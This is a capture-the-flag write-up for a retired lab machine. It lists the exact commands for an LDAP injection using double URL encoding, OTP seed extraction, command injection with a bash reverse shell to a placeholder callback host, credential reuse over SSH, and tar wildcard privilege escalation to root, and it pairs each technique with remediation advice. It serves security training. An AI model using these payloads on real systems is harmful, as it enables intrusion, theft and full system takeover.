CTF
Summary
Target Ctf (<retired-instance-ip>) ran a CentOS Apache/PHP web application that used an LDAP directory to authenticate users via a one-time password.
A character blacklist protecting the LDAP filter could be bypassed entirely by double URL-encoding the injected characters, converting the login endpoint into a boolean oracle.
The oracle was used to enumerate the valid username and then extract the RSA token seed stored in the LDAP pager attribute character by character.
A valid OTP was derived from the recovered seed and submitted together with an OS command in the page.php command-execution field, yielding remote code execution as the apache service account.
Credentials for ldapuser found in a PHP configuration file were reused over SSH to read the user flag.
A root-owned cron job that archived files from a world-writable directory using tar with an unquoted wildcard was then abused via filename-based argument injection to execute a root shell, completing full system compromise.
Attack path — how the box was taken
Mapped open services on the target, then Discovered the LDAP-backed OTP login form and identified the character blacklist, then Bypassed the LDAP character blacklist with double URL encoding and confirmed a boolean oracle, then Extracted the LDAP pager token seed character by character via the oracle, then Generated a valid OTP from the recovered token seed, then Injected an OS command through the authenticated page.php execution interface, then Recovered ldapuser SSH credentials from server configuration and read the user flag, then Exploited a root-owned cron job's tar wildcard expansion to execute a root shell.
Exact commands 2
nmap -Pn -sV --open -p 22,80 $TARGETnmap -Pn --host-timeout 20s --max-retries 1 -sV -p22 --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey $TARGETExact commands 2
curl -sS -c /tmp/ctf.cookies -D /tmp/ctf.headers -o /tmp/login.html http://$TARGET/login.php && grep -nEi '<form|input|button|action|otp|token' /tmp/login.htmlcurl -sS -X POST http://$TARGET/login.php --data 'username=test(*)&otp=00000000' | grep -oiE 'invalid|error|blacklist|forbidden|blocked'Exact commands 2
curl -sS -X POST http://$TARGET/login.php --data 'username=ldapuser%2529%2528uid%253dldapuser%2529%2528uid%253dldapuser&otp=00000000' | grep -oiE 'Invalid OTP|not found|error'curl -sS -X POST http://$TARGET/login.php --data 'username=nonexistent%2529%2528uid%253dnonexistent&otp=00000000' | grep -oiE 'Invalid OTP|not found|error'Exact commands 2
oathtool --totp --digits 8 --base32 '<PAGER_SEED>'apt-get install -y stoken && stoken --token '<PAGER_SEED>'Exact commands 2
curl -sS --connect-timeout 2 --max-time 10 -b /tmp/ctf_bypass.cookies -c /tmp/ctf_bypass.cookies -D /tmp/ctf_bypass_id.headers -o /tmp/ctf_bypass_id.body -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'inputCmd=id&inputOTP=52410967&submit=Submit' http://$TARGET/page.phpcurl -sS -b /tmp/ctf_bypass.cookies -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data "inputCmd=bash+-i+>%26+/dev/tcp/$CALLBACK_HOST/4444+0>%261&inputOTP=52410967&submit=Submit" http://$TARGET/page.phpExact commands 1
find /var/www /etc -name '*.php' -o -name '*.conf' -o -name '*.ini' 2>/dev/null | xargs grep -lsi 'ldap\|password\|passwd' 2>/dev/null | head -20Exact commands 2
cat /etc/crontab; ls -la /var/spool/cron/; find / -writable -type d 2>/dev/null | grep -v proc | head -20cd /path/to/writable/archive/dir && printf '#!/bin/sh\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > shell.sh && chmod +x shell.sh && touch -- '--checkpoint=1' && touch -- '--checkpoint-action=exec=sh shell.sh'Attack patterns used
The transferable techniques behind the compromise.
LDAP injection via double URL encodingExploitationT1190
What it is
PHP's form-parsing layer URL-decodes input once before the application code processes it, but the application then called a second decode pass before constructing the LDAP filter. A character such as '(' which is blocked as '%28' in its single-encoded form passes inspection when submitted as '%2528': the first decode yields '%28', and the application's second decode produces the literal '('. This let the attacker inject arbitrary LDAP filter syntax. Two distinct HTTP response bodies — 'Invalid OTP' when the injected filter matched a real user, versus 'User not found' when it matched nobody — formed a reliable boolean oracle.
Why it works
Use a prepared-statement or escaping library appropriate to your LDAP stack (e.g., PHP's ldap_escape() with LDAP_ESCAPE_FILTER) so no user-supplied character is ever interpreted as LDAP syntax. Do not store token seeds in the LDAP pager attribute readable by the web process; use a dedicated, access-controlled OTP seed store. Remove the boolean response difference by returning the same generic error for all authentication failures.
OS command injectionExploitationT1059.004
What it is
After authenticating with the recovered OTP, the post-login page at /page.php accepted an inputCmd parameter and executed it directly on the operating system without sanitization, returning the output in the HTTP response. Submitting 'id' confirmed execution as the apache service account (uid=48). A reverse shell payload was then submitted to establish an interactive foothold.
Why it works
Eliminate the shell-execution feature entirely; if system interaction is required, use a whitelist of pre-defined, parameterless actions called through a safe API rather than shell_exec/passthru/system. Run the web application as a dedicated low-privilege account with no write access to sensitive directories and no sudo rights. Apply a Web Application Firewall rule to block requests with command-injection patterns as a defence-in-depth measure.
Credential access — credentials in files ; SSH lateral movementLateral MovementT1552.001
What it is
From the apache shell, the web application's PHP configuration files were readable and contained plaintext LDAP bind credentials for ldapuser. These credentials doubled as the system account's SSH password. An SSH session was opened directly as ldapuser and the user flag was read from the home directory.
Why it works
Store credentials in an environment-variable or secrets-manager injection (e.g., HashiCorp Vault, AWS Secrets Manager) rather than flat files. Enforce a distinct SSH key-pair for ldapuser; disable password SSH authentication (PasswordAuthentication no in sshd_config). Apply the principle of least privilege: the web service's LDAP bind account should be read-only and scoped only to the attributes it needs.
Cron wildcard injection — tar argument injectionPrivilege EscalationT1053.003
What it is
As ldapuser, inspection of running cron jobs revealed a root-owned task that periodically ran 'tar czf /root/backup.tar.gz *' (or equivalent) inside a directory that ldapuser could write to. When tar expands a bare wildcard it includes any filename present in the directory as a literal argument, allowing an attacker to plant files whose names are interpreted by tar as option flags. Creating files named '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' alongside a shell script caused the next cron execution to run the script as root, producing a SUID bash binary that granted a root shell.
Why it works
Replace the bare wildcard with an explicit path list or use 'find ... -print0 | tar --null -T -' to avoid shell glob expansion entirely. Ensure archive source directories are owned by root and not writable by any other user. Audit all cron jobs with 'crontab -l' and '/etc/cron.*' for wildcard usage in commands operating on user-writable paths; apply the same fix to any script called by cron.
Findings
Exposed services
| External surface | A TCP port scan of <retired-instance-ip> revealed two open services: OpenSSH 7.4 on port 22 and Apache 2.4.6 on port 80 running PHP 5.4.16 with mod_fcgid. The antiquated PHP version (end-of-life since 2015) and CentOS banner signalled an intentionally legacy stack worth investigating for known CVEs and misconfigurations. |